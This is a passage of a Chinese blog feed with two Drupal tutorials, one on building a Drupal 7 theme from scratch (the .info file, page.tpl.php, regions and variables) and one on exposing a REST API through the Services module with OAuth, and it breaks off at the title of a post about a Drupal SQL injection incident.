&lt;p&gt;##为什么根据设计图制作主题&lt;/p&gt;

&lt;p&gt;一般对Drupal主题的介绍都是从一个现存主题或基主题的定制入手的。首先要面对的问题就是这些主题非常通用。一般都具有左边栏或者右边栏或者两边都有，很多区域，很多的CSS。如果你有这么多需要，那当然是好的，但是这有个直接后果就是，大量的模板文件和CSS让人无所适从。可能有很多的CSS并不需要却不便移除。定制一个这种主题是个非常心烦的过程。&lt;/p&gt;

&lt;p&gt;另外一个问题是，这些主题的复杂性让你无法了解Drupal主题的工作方式，无助于用户学习创建自己的主题。我希望读者能从本文获取这方面的知识。&lt;/p&gt;

&lt;p&gt;##创建自己的主题&lt;/p&gt;

&lt;p&gt;###1. 创建目录结构&lt;/p&gt;

&lt;p&gt;首先你需要为新主题创建一个目录。这个目录应该位于&lt;code&gt;sites/all/themes&lt;/code&gt;或者&lt;code&gt;sites/yoursite/themes&lt;/code&gt;之下，这个路径决定了新主题是为单个站点服务还是服务于所有站点。记得给这个目录起一个唯一的且不包含空格的名字。&lt;/p&gt;

&lt;p&gt;为CSS和图片文件创建子目录能让主题目录整洁有序。一般的目录结构如下所示：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--Theme name
----css
----images
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###2. 创建.info文件&lt;/p&gt;

&lt;p&gt;Drupal6和以后的版本，所有主题都会有一个info文件用来提供一些基本信息。有些信息用于主题管理页面，同时这些信息也决定了主题设置中的可用选项。&lt;/p&gt;

&lt;p&gt;Info文件是个简单的文本文件，他的主文件名会被Drupal当作该主题的机读名称使用，例如你命名info文件为yourtheme.info，则这个主题的机读名称就是“yourtheme”。&lt;/p&gt;

&lt;p&gt;在info文件里，我们需要用键值对的格式为主题输入信息。其中包含：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;name - 用于人阅读的友好名称&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;description - 主题的描述&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;core - 对应的Drupal版本&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/node/171205#engine&#34; target=&#34;_blank&#34;&gt;engine&lt;/a&gt;主题使用的主题引擎（一般是phptemplate）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;regions - 主题为区块提供的可用区域。方括号内的内容是机读名称（例如&lt;code&gt;regions[&#39;sidebar_first&#39;]&lt;/code&gt;）。这些配置会把区域插入到模板文件之中。指定的标签名称会出现在管理界面中为Block指定区域的页面上。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在Drupal 7中，在自定义区域之外，&lt;strong&gt;必须&lt;/strong&gt;包含内容区域。推荐使用Drupal标准名称为侧边栏区域命名（Drupal 7中的&lt;code&gt;sidebar_first&lt;/code&gt;以及&lt;code&gt;sidebar_second&lt;/code&gt;）。这使得Drupal能够在body标签中加上标记来说明使用了哪些侧边栏（没有/左/右等）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://drupal.org/node/171205#features&#34; target=&#34;_blank&#34;&gt;features&lt;/a&gt; - Drupal 7 主题管理界面中可以开启或者关闭的主题功能（例如指定站点名称，标志等）。只有info文件中列出的功能才能展现在主题管理界面上，并且可以在页面模板中作为变量使用。如果你希望清楚所有特性，留空即可；如要包含所有特性，可以删掉features项。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;stylesheets - 你的CSS文件。第一个方括号用于指定媒体类型(例如stylesheets[all]或者stylesheets[print])。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;scripts - 主题所需的所有脚本（记住Drupal自带jQuery）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;scripts和stylesheet的值是相对于主题目录的（例如sites/yoursite/themes/yourtheme路径会被自动包含）。如果你需要指定一个在主题目录之外的文件，可以参考&lt;a href=&#34;http://drupal.org/node/171205#comments&#34; target=&#34;_blank&#34;&gt;《info文件说明》&lt;/a&gt;来获取包含外部脚本的方法的介绍。&lt;/p&gt;

&lt;p&gt;下面是一个info文件示例：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = My Cool Theme
description = Custom theme for my site
core = 7.x
engine = phptemplate
regions[header] = Header
regions[sidebar_first] = Right sidebar
regions[content] = Content
regions[footer] = Footer

stylesheets[all][] = css/style.css
stylesheets[print][] = css/print.css

features[] = name
features[] = main_menu
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/node/171205&#34; target=&#34;_blank&#34;&gt;《info选项的更多信息》&lt;/a&gt;，包含缺省值和一些其他的键，可以在Drupal.org获得。&lt;/p&gt;

&lt;p&gt;###3. 理解Drupal模板文件&lt;/p&gt;

&lt;p&gt;Drupal主题建立在模板之上，扩展名是.tpl.php。这些文件包含了主题所需的html，以及一些用于指导Drupal工作的变量。&lt;/p&gt;

&lt;p&gt;如果想要创建一个非常简单的主题，压根就不需要任何的模板文件。Drupal自带了所有输出的缺省模板，所以你的模板可以只包含CSS。这些缺省内容是随着产生这些内容的模块而来的。例如node的html标记就存在于Node模块的node.tpl.php中；Block的html标记包含在block模块的block.tpl.php文件中。&lt;/p&gt;

&lt;p&gt;只有在需要改变缺省行为的情况下才需要创建自己版本的模板文件。否则Drupal会简单的使用缺省文件。修改核心文件&lt;strong&gt;绝对&lt;/strong&gt;不是个好主意。在自己的主题中进行覆盖才是合适的办法。&lt;/p&gt;

&lt;p&gt;要创建自己版本的模板文件，可以把缺省版本从模块目录拷贝到自己的主题中。有时候很难确定什么模块做了部分渲染工作，如果真的遇到这种麻烦，可以试试看&lt;a href=&#34;http://drupal.org/project/devel_themer&#34; target=&#34;_blank&#34;&gt;Theme developer模块&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;最重要的模板文件，也可能是最需要修改的文件就是&lt;strong&gt;page.tpl.php&lt;/strong&gt;，这个模板文件包含了页面文件的主体。缺省的page.tpl.php存在于system模块中。缺省文件包含了很多附加的可能无用的选项，所以为了方便，我会根据设计稿编写自己的page.tpl.php。&lt;/p&gt;

&lt;p&gt;在Drupal 7中还有一个&lt;a href=&#34;http://api.drupal.org/api/drupal/modules--system--html.tpl.php/7&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;html.tpl.php&lt;/strong&gt;&lt;/a&gt;模板，这其中包含有全局的文档结构（doctype, head节，body和html标记的开始和结束等）。因为通常这个文件没什么麻烦，所以我们一般不需要理会这个文件。如果你真的要修改他，也可以从system模块中拷贝到自己的主题目录中进行修改。&lt;/p&gt;

&lt;p&gt;###3.1. 创建page.tpl.php&lt;/p&gt;

&lt;p&gt;要开始创建你的主题文件，可以从新建一个空的名为page.tpl.php的文本文件开始。在这里会存放所有的body内容。这个文件包含三个元素：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;HTML标记（包含div，以及其他的主要结构元素）&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;区域定义&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;其他内容项的变量（例如标题，导航栏）&lt;/p&gt;

&lt;div id=&#34;header&#34;&gt;
 
&lt;/div&gt;

&lt;div id=&#34;wrapper&#34;&gt;

  &lt;div id=&#34;content&#34;&gt;

  &lt;/div&gt;
    

&lt;p&gt;&lt;div id=&#34;sidebar&#34;&gt;&lt;/p&gt;

&lt;p&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;&lt;/div&gt;&lt;/p&gt;

&lt;div id=&#34;footer&#34;&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;###3.2 创建区域&lt;/p&gt;

&lt;p&gt;任何需要在Drupal界面上通过Block方式进行编辑的部分都需要成为一个区域。在我们的例子里，包含了头部，右边栏，内容区以及页脚。不要忘记所有的区域都需要在Info中进行声明。&lt;/p&gt;

&lt;p&gt;但是如果你不声明任何区域，Drupal会提供一系列的缺省区域， 其中包括头部、高亮、帮助、内容、第一边栏以及第二边栏。&lt;/p&gt;

&lt;p&gt;在Drupal 7中，变量，包含区域变量都使用&lt;a href=&#34;http://drupal.org/node/930760&#34; target=&#34;_blank&#34;&gt;Render Arrays&lt;/a&gt;插入到最终页面。入门阶段对这个过程无需了解太多，有个例外就是这里包含了把区域以及其他元素输出到页面模板的方法。我会尝试在今后的文章中对这个过程做个详细一些的介绍。&lt;/p&gt;

&lt;p&gt;内容区域有一种可能的意外——这个区域可能是空的。你可能不想在没有内容的时候输出任何东西。所以应该在输出之前进行判断这些变量是否存在。&lt;/p&gt;

&lt;p&gt;下面的代码用一个条件来判断页脚区域是否有内容，如果有就输出：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($page[&#39;footer&#39;]): ?&amp;gt;    
  &amp;lt;?php print render($page[&#39;footer&#39;]); ?&amp;gt;
&amp;lt;?php endif; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;对每个区域的输出都应该这样，将$page[&amp;lsquo;footer&amp;rsquo;]替换成区域的机读名称（info文件中区域声明的方括号里面的那部分）。content比较特别，因为这个区域总是有内容的，所以无需判断。&lt;/p&gt;

&lt;p&gt;容器div在判断之外还是判断之内，取决于你的选择——是否需要在区域为空时让div继续存在？&lt;/p&gt;

&lt;p&gt;下面是目前阶段的page.tpl.php文件样本：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;header&amp;quot;&amp;gt;

&amp;lt;/div&amp;gt;

&amp;lt;div id=&amp;quot;wrapper&amp;quot;&amp;gt;

  &amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;
    &amp;lt;?php print render($page[&#39;content&#39;]); ?&amp;gt;
  &amp;lt;/div&amp;gt;

  &amp;lt;?php if ($page[&#39;sidebar_first&#39;]): ?&amp;gt;    
    &amp;lt;div id=&amp;quot;sidebar&amp;quot;&amp;gt;
      &amp;lt;?php print render($page[&#39;sidebar_first&#39;]); ?&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;?php endif; ?&amp;gt;  
&amp;lt;/div&amp;gt;

&amp;lt;div id=&amp;quot;footer&amp;quot;&amp;gt;
  &amp;lt;?php if ($page[&#39;footer&#39;]): ?&amp;gt;    
    &amp;lt;?php print render($page[&#39;footer&#39;]); ?&amp;gt;
  &amp;lt;?php endif; ?&amp;gt;  
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;###3.3 为基础的页面元素添加变量&lt;/p&gt;

&lt;p&gt;页面除了区域之外还有另外一部分。这一节中我们会为关键的页面元素添加变量，其中包括页面标题以及Drupal导航栏。如同Drupal文档页中的描述一样，&lt;a href=&#34;http://api.drupal.org/api/drupal/modules--system--page.tpl.php/6&#34; target=&#34;_blank&#34;&gt;page.tpl.php包含了很多的变量&lt;/a&gt;。想要主题有什么就包含什么。需要面包屑么？$breadcrumbs变量就可以。&lt;/p&gt;

&lt;p&gt;最常见的包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$site_name&lt;/code&gt;

* $logo(标志是从主题设置中上传的，只有在你实现了logo功能时才有作用)

* $title(页面标题)

* &lt;code&gt;$main_menu&lt;/code&gt;

* &lt;code&gt;$secondary_menu&lt;/code&gt;

* &lt;code&gt;$breadcrumbs&lt;/code&gt;

还有一些对Drupal管理员有用的变量：

* $tabs (用于编辑/查看管理菜单，通常由模块使用)

* $messages

* &lt;code&gt;$action_links&lt;/code&gt;

另外一些有用的变量：

* &lt;code&gt;$base_path&lt;/code&gt;：站点根目录

* &lt;code&gt;$front_page&lt;/code&gt;：站点首页

* &lt;code&gt;$directory&lt;/code&gt;：主题所在路径

变量由&lt;a href=&#34;http://drupal.org/node/930760&#34; target=&#34;_blank&#34;&gt;Render API&lt;/a&gt;插入：

&amp;lt;?php print render($tabs); ?&amp;gt;

&amp;gt;  &lt;strong&gt;menu和主题设置的说明&lt;/strong&gt;
&amp;gt; &amp;gt;主菜单和副菜单是标准的导航菜单块，由系统缺省提供，也是有效的变量。用两种方式都可以插入连接到页面模板。如果想要方便移动，那么用Block比较好，否则可以用硬编码的方式写入模板。
&amp;gt;
&amp;gt;显示其他站点元素，例如Logo也可以用这样的逻辑。如果你希望轻易的通过管理界面更改Logo或者关闭主菜单，使用主题设置和相关的变量；否则可以直接写入page模板。
&amp;gt;
&amp;gt;另外一个要点是，菜单连接返回的是一个数组。当你把他包含到页面模板时，需要用&lt;a href=&#34;http://api.drupal.org/api/function/theme&#34; target=&#34;_blank&#34;&gt;theme()&lt;/a&gt;函数来展开他。
&amp;gt;
&amp;lt;?php if ($main_menu): ?&amp;gt;
  &amp;lt;?php print theme(&amp;lsquo;links__system_main_menu&amp;rsquo;, array(&amp;lsquo;links&amp;rsquo; =&amp;gt; $main_menu, &amp;lsquo;attributes&amp;rsquo; =&amp;gt; array(&amp;lsquo;id&amp;rsquo; =&amp;gt; &amp;lsquo;main-menu&amp;rsquo;))); ?&amp;gt;
&amp;lt;?php endif; ?&amp;gt;
&lt;br /&gt;
这个例子里，因为我不想更换Logo，所以我把Logo作为一个简单的图片来使用，而不是使用$logo变量。这里也展示了&lt;code&gt;$base_path&lt;/code&gt;、&lt;code&gt;$directory&lt;/code&gt;以及&lt;code&gt;$site_name&lt;/code&gt;变量的使用。

注意在Drupal 7中还有$title_prefix以及$title_suffix变量。模块可能使用他们，所以要记得包含在所有的主题中。

还有一点就是有的变量需要用&lt;strong&gt;render()&lt;/strong&gt;函数来显示，而其他的可以简单的打印输出。区别在哪里呢？如果变量是个数组（&lt;a href=&#34;http://api.drupal.org/api/drupal/modules--system--page.tpl.php&#34; target=&#34;_blank&#34;&gt;page.tpl.php参考&lt;/a&gt;），需要使用render()；相反的，可以直接用print输出（&amp;lt;?php print $varible; ?&amp;gt;），如果有问题，可以查阅缺省的page.tpl.php来看看缺省模板的实现方式。

现在page.tpl.php文件变成了这样


&lt;div id=&#34;wrapper&#34;&gt;

  &lt;div id=&#34;header&#34;&gt;
    &lt;a href=&#34;&lt;?php print $front_page;?&gt;&amp;rdquo;&amp;gt;
      &lt;img src=&#34;/&lt;?php print $directory;?&gt;/images/logo.png&amp;rdquo; alt=&amp;rdquo;&amp;lt;?php print $site_name;?&amp;gt;&amp;rdquo; height=&amp;ldquo;80&amp;rdquo; width=&amp;ldquo;150&amp;rdquo; /&amp;gt;
    &lt;/a&gt;

    &amp;lt;?php if ($main_menu): ?&amp;gt;
      &amp;lt;?php print theme(&amp;lsquo;links&amp;rsquo;, $main_menu); ?&amp;gt;
    &amp;lt;?php endif; ?&amp;gt;

  &lt;/div&gt;

  &lt;div id=&#34;content&#34;&gt;
    &amp;lt;?php print render($title_prefix); ?&amp;gt;
      &amp;lt;?php if ($title): ?&amp;gt;&lt;h1&gt;&amp;lt;?php print $title; ?&amp;gt;&lt;/h1&gt;&amp;lt;?php endif; ?&amp;gt;
    &amp;lt;?php print render($title_suffix); ?&amp;gt;

    &amp;lt;?php print render($messages); ?&amp;gt;
    &amp;lt;?php if ($tabs): ?&amp;gt;&lt;div class=&#34;tabs&#34;&gt;&amp;lt;?php print render($tabs); ?&amp;gt;&lt;/div&gt;&amp;lt;?php endif; ?&amp;gt;
    &amp;lt;?php if ($action_links): ?&amp;gt;&lt;ul class=&#34;action-links&#34;&gt;&amp;lt;?php print render($action_links); ?&amp;gt;&lt;/ul&gt;&amp;lt;?php endif; ?&amp;gt;

    &amp;lt;?php print render($page[&amp;lsquo;content&amp;rsquo;]); ?&amp;gt;
  &lt;/div&gt;

  &amp;lt;?php if ($page[&amp;lsquo;sidebar_first&amp;rsquo;]): ?&amp;gt;&lt;br /&gt;
    &lt;div id=&#34;sidebar&#34;&gt;
      &amp;lt;?php print render($page[&amp;lsquo;sidebar_first&amp;rsquo;]); ?&amp;gt;
    &lt;/div&gt;
  &amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;

  &lt;div id=&#34;footer&#34;&gt;
    &amp;lt;?php if ($page[&amp;lsquo;footer&amp;rsquo;]): ?&amp;gt;&lt;br /&gt;
      &amp;lt;?php print render($page[&amp;lsquo;footer&amp;rsquo;]); ?&amp;gt;
    &amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;
  &lt;/div&gt;

&lt;/div&gt;
&lt;br /&gt;
##4. 创建自己的CSS

这个工作跟其他的情况类似，尽管做就是了。

##5. 试试看

现在你已经创建了自己的页面模板，可以启用你的模板来看看运行情况。如果你有些修改没有反应到运行上来，可以试试清空缓存。

这几乎是所有“修改代码不生效”问题的解决方法。

##6. 制作截图

在Drupal管理界面会在你的主题名称旁边会显示一张截图。要制作这个图片很简单，抓取一下屏幕，尺寸改成150*90，并把这个文件起名叫screenshot.png即可。

Drupal有些&lt;a href=&#34;http://drupal.org/node/11637&#34; target=&#34;_blank&#34;&gt;截图指导&lt;/a&gt;，不过这个只在你决定要公开发布你的贡献的时候才需要。

## 下载主题文件

下载本教程生成的主题文件：&lt;a href=&#34;http://www.apaddedcell.com/sites/www.apaddedcell.com/files//mycooltheme.tar.gz&#34; target=&#34;_blank&#34;&gt;mycooltheme.tar.gz&lt;/a&gt;。

为了这个例子，我包含了很简单的CSS用来摆放基本的元素。如果你希望只使用自己的出品，可以移除这些多余的CSS。

##下一步？

这只是Drupal主题的冰山一角，还有很多很多的事情要在Drupal中完成。还好有很多适合入门者的资源。

##讨论

要讨论，提问或者评论本文，请去站长论坛的关于&lt;a href=&#34;http://www.webmaster-forums.net/html-css-and-javascript/apc-article-how-create-simple-drupal-7-theme-scratch&#34; target=&#34;_blank&#34;&gt;如何从设计搞创建Drupal 7&lt;/a&gt;的讨论。可以说说你在本课程中的疑问。

##资源

* &lt;a href=&#34;http://drupal.org/theme-guide&#34; target=&#34;_blank&#34;&gt;Drupal 主题指南&lt;/a&gt;

* &lt;a href=&#34;http://drupal.org/node/171205&#34; target=&#34;_blank&#34;&gt;Info文件的结构&lt;/a&gt;

* &lt;a href=&#34;http://api.drupal.org/api/drupal/modules--system--page.tpl.php&#34; target=&#34;_blank&#34;&gt;page.tpl.php&lt;/a&gt;

* &lt;a href=&#34;http://drupal.org/node/190815&#34; target=&#34;_blank&#34;&gt;核心模板列表&lt;/a&gt;

###附件

&lt;a href=&#34;http://www.apaddedcell.com/sites/www.apaddedcell.com/files/mycooltheme.tar.gz&#34; target=&#34;_blank&#34;&gt;mycooltheme.tar.gz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Drupal Services模块入门教程</title>
      <link>/post/drupal-service-basic/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-service-basic/</guid>
      <description>

&lt;p&gt;Services模块为Drupal站点提供了实现Web服务的能力。&lt;/p&gt;

&lt;p&gt;Services很流行，可以同REST, XMLRPC, JSON以及SOAP协同工作。&lt;/p&gt;

&lt;p&gt;然而，在上星期的一次培训中，当被问到Services的问题时，我意识到，问题产生的原因在于——这个模块几乎没有清晰的可用的文档。&lt;/p&gt;

&lt;p&gt;所以我决定写一篇Services模块的入门教程。&lt;/p&gt;

&lt;p&gt;下面就是利用Services为Drupal站点建立REST API的五个步骤：&lt;/p&gt;

&lt;h2 id=&#34;1-安装&#34;&gt;1. 安装&lt;/h2&gt;

&lt;p&gt;基础的REST API需要三个模块的支持：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/libraries&#34; target=&#34;_blank&#34;&gt;Libraries&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/services&#34; target=&#34;_blank&#34;&gt;Services&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/services_views&#34; target=&#34;_blank&#34;&gt;Services Views&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果你要为API添加认证支持，那么还需要添加一个模块，例如&lt;a href=&#34;https://www.drupal.org/project/oauth&#34; target=&#34;_blank&#34;&gt;OAuth&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;你可能需要做一件无聊的事情：测试这几个模块的不同版本。我在Drupal.org上找到&lt;a href=&#34;https://www.drupal.org/node/1871498&#34; target=&#34;_blank&#34;&gt;一篇文章&lt;/a&gt;，其中提到需要用部分旧版本的模块，来避免一些bug。&lt;/p&gt;

&lt;p&gt;当你启用这些模块后，需要选择服务器的类型。除了REST和XMLRPC之外的其他服务模块例如&lt;a href=&#34;https://www.drupal.org/project/soap_server&#34; target=&#34;_blank&#34;&gt;SOAP&lt;/a&gt;，需要在Drupal.org上获得。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/62e366bb15d77e7f2607df91caa5bb79.png&#34; alt=&#34;Servers&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;2-创建server&#34;&gt;2. 创建Server&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;Structure &amp;gt; Services&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;点击 Add&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;输入机读名称。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择服务器&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;输入服务端点路径(Path to endpoint)，这一路径会变成这个Server的URL的一部分。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;保存&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/62ba5eea4dc8d668c8ec08124ee4553d.png&#34; alt=&#34;Server Set-up&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;点击 &lt;code&gt;Edit Resources&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;这里可以编辑Server的各种配置项目&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/dd5dbae61731c948b1ce53cc38fe80dc.png&#34; alt=&#34;Edit Resource&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;3-服务器配置&#34;&gt;3. 服务器配置&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Server Tab页面让你可以为Server选择(响应)格式以及(请求的)解析器类型。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/7cee34feb5fac96973f710a66012815e.png&#34; alt=&#34;settings&#34; /&gt;&lt;/p&gt;

&lt;p&gt;认证(Authentication) Tab让你可以对Server进行访问控制，下面以OAuth举例说明：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;安装&lt;a href=&#34;https://www.drupal.org/project/oauth&#34; target=&#34;_blank&#34;&gt;OAuth&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;导航至 &lt;code&gt;Configuration &amp;gt; OAuth &amp;gt; Add Context&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;设置OAuth连接的详细信息&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;进入&lt;code&gt;Structure &amp;gt; Services &amp;gt; Edit Resources&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;检查OAuth的认证框：&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/b8e80b19bcf0c6ad4b9973908bfc7b6b.png&#34; alt=&#34;auth box&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;点击认证Tab（Authentication）&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;选择OAuth上下文(Context)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/8776f9042df170ef84fe02362c1b116f.png&#34; alt=&#34;OAuth Context&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后，资源Tab允许你控制服务器的功能范围。本例中，我们要确定按下图进行选择。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/14672d2c7bddd96a2c7c11178dc5b028.png&#34; alt=&#34;selection&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;4-创建视图&#34;&gt;4. 创建视图&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;进入 &lt;code&gt;Structure &amp;gt; Views &amp;gt; Add New View&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建一个视图，只使用Block模式：&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/e1ca820ec17ee639bf11e0777c837e7b.png&#34; alt=&#34;new view &#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;点击继续，编辑&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在views顶部点击Add，添加Servies。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/d5d1b67d033c78120ef0e793236a6911.png&#34; alt=&#34;add services&#34; /&gt;&lt;/p&gt;

&lt;p&gt;你会看到一条消息：&lt;code&gt;Display &amp;quot;Services&amp;quot; uses a path but the path is undefined.&lt;/code&gt;(显示Services需要使用的路径未经定义)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;点击Path右边的斜线进行编辑，来解决这一问题&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/b320b93c8bb83c5453e562facb07d80f.png&#34; alt=&#34;path1&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;输入路径，例如&amp;rdquo;myrestapi&amp;rdquo;：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/04226bda3aae9984ffb39625d9797d8f.png&#34; alt=&#34;path2&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;查看预览。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;保存View。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/ae53cc690f7f302ac155ee65c25948c7.png&#34; alt=&#34;review&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后你就可以利用Views的功能对其进行定制了。&lt;/p&gt;

&lt;h2 id=&#34;5-查看server&#34;&gt;5. 查看Server&lt;/h2&gt;

&lt;p&gt;最后一步就是查看Server的输出。没有自动提供的连接，只能通过下面的网址来查看：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    /path-to-endpoint/views/view-machine-name/
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在我的例子中是这样定义的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;path-to-endpoint：我在第二部分中设置为“myrestapi”.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;view-machine-name：我给这个view命名为&amp;rdquo;myrestapi&amp;rdquo;，可以通过编辑view并查看URL来确定网址的唯一性。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以，访问我的Server的URL： &lt;code&gt;/myrestapi/views/myrestapi/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;下面是返回内容：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/824063bc4d1a32a68f277db67b9b0bcc.png&#34; alt=&#34;xml&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##更多内容&lt;/p&gt;

&lt;p&gt;Drupal.org上&lt;a href=&#34;https://www.drupal.org/node/1871498&#34; target=&#34;_blank&#34;&gt;最好的文档&lt;/a&gt;，相较本文来说，提供了更多细节，这篇文章也是&lt;a href=&#34;https://www.drupal.org/node/113697&#34; target=&#34;_blank&#34;&gt;Services文档&lt;/a&gt;的一部分.&lt;/p&gt;

&lt;p&gt;如果你希望使用REST API导入数据，我找到的&lt;a href=&#34;https://www.drupal.org/node/113697&#34; target=&#34;_blank&#34;&gt;最好教程&lt;/a&gt;拱你参考。&lt;/p&gt;

&lt;p&gt;Youtube上还提供了一个很好的视频：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=xxWWq4wwqp4&#34; target=&#34;_blank&#34;&gt;https://www.youtube.com/watch?v=xxWWq4wwqp4&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal SQL注入漏洞后的一周——黑客教了我们什么？</title>
      <link>/post/drupal-sql-injection-weeks-later/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-sql-injection-weeks-later/</guid>
